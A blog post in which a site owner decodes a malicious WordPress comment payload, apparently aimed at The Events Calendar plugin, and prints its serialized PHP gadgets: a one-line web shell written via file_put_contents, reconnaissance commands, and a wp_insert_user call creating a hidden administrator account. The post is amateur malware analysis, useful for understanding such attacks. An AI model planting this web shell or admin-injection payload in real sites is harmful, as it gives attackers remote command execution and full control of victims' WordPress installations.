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Comment Toxicity, redux

Posted on September 30, 2026

by Fred Theilig – @fmtheilig

My post two weeks ago was an interesting exploration of malicious blog comments, but I was left with more questions than answers. Recently I was blessed with another comment with attached Base64 data, but this one was a wee bit larger. The dataset in the previous comment, after clean-up, was 49 lines. This one is 2064 lines, over 40 times longer. And after manually deobfuscating it, it started to make sense.

I learned a few things since the last post. Firstly the O: data type isn’t ordinal, it’s an Object. Also, the array data type has two “fields” per element. The first one is a label and the second the actual data. When the label isn’t important, it’ll be just 0 and 1 like below. Finally, and this one kinda hurts, “<!–” does not designate JavaScript. It just designates an HTML comment. Is it plainly clear that I am no web developer?

Here, I will repeat a snippet from the last post:

s:2:"w1";
O:8:"stdClass":3:
{
   s:8:"callback";
   s:17:"file_put_contents";
   s:9:"arguments";
   a:2:
   {
      i:0;
      s:14:"pwn_d0a180.php";
      i:1;
      s:51:"<?php if(isset($_GET["c"])) { system($_GET["c"]); } ?>";
   }
   s:8:"is_empty";
   b:0;
}

This defines, for lack of a better word, command “w1”, the only one in the dataset. The new, larger one contains 11:

l0, l1, l2, l3, l4, w1, w2, w3, w4, w5, and a0. Each are repeated 11 times and (I presume) referenced once. The “L” commands run various DOS commands:

“cmd /c echo LEAKST && cd && echo LEAKEND”
“echo LEAKST; pwd; echo LEAKEND”
“cmd /c echo TECOI_DOCROOT=%DOCUMENT_ROOT% TECOI_CD=%CD%”
whoami
phpinfo

The “W” commands try to create the php malware file in one of five directories:

wp-content/uploads/
wp-content/
wp-includes/
wp-admin/
or current directory

I lamented last time that I didn’t have the actual php malware, but I was wrong. The file_put_contents command puts text into a file. Element 0 is the filename (pwn_d0a180.php) and element 1 is the file contents (<?php if(isset($_GET[“c”])) { system($_GET[“c”]); } ?>). Finally, the is_empty flag is set to FALSE. It was staring me right in the face.

The final “a0” command uses the wp_insert_user command to create a wordpress administrator:

s:2:"a0";
O:8:"stdClass":3:
{
   s:8:"callback";
   s:14:"wp_insert_user";
   s:9:"arguments";
   a:1:
   {
      i:0;
      a:4:
      {
         s:10:"user_login";
         s:12:"supperlfkisg";
         s:9:"user_pass";
         s:16:"YJ6XpIKjhFPQREGs";
         s:10:"user_email";
         s:24:"supperlfkisg@poc.invalid";
         s:4:"role";
         s:13:"administrator";
      }
   }
   s:8:"is_empty";
   b:0;
}

Points for the complex password. Let’s go back to that PHP code, cleaned up for clarity:

if ( isset( $_GET["c"] ) )
{
   $o=[];
   exec( $_GET["c"], $o );
   echo implode( "", $o );
}
else
{
   echo "SHELLOK";
}

The isset function, my DDG-fu tells me, checks to see if a variable is empty. In this case, it’s the value returned by $_GET[“c”], which would be the command line parameter “c”. exec executes that value as a command, and the output is placed into variable $o. implode joins an array element with a string. I do not see what that purpose is.

But if there is no parameter “c”, echo “SHELLOK”.

I am still faced with the same questions. Where is this command line parameter “c”? What acts upon this set of data? Let’s look again at the traffic before the base64:

<!-- wp:legacy-widget
{
   "idBase": "tribe-widget-events-list",
   "instance": 
   {
      “encoded”:

To save time and typing, I will use an asterix* to designate the text “whatever that is”. This defines a legacy widget*. The variable idBase* is set to tribe-widget-events-list*. But, wait a minute. I might actually know what that is. I believe it refers to The Events Calendar plugin by Nexcess, which I use. So, maybe that giant dataset is stuffed into the events calendar database, and it’s the plugin that does the heavy lifting. Just maybe.

I’ve learned a whole lot here, but there is so much more I don’t understand. There is a huge gap between getting a LAMP stack and WordPress instance up and running, and understanding how things work under the covers. I wouldn’t want anyone to think I’m doing anything more than looking at code and making guesses.

But this is as far as I go. I hope this exploration proves useful to somebody.

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